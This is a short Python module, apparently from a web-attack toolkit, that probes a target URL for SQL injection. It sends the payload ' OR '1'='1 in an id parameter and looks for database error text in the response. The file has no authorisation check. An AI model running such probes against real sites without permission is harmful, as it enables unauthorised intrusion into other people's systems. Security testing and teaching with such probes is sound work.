# core/web_exploits.py
import requests

def sql_injection_test(target_url):
    print(f"[⚡] Testing for basic SQL Injection on {target_url}")

    payload = "' OR '1'='1"
    try:
        response = requests.get(f"{target_url}?id={payload}", timeout=5)
        if "sql" in response.text.lower() or "syntax" in response.text.lower():
            print("[+] Potential SQL Injection vulnerability detected!")
        else:
            print("[-] No obvious SQL Injection signs found.")
    except Exception as e:
        print(f"[!] Error: {e}")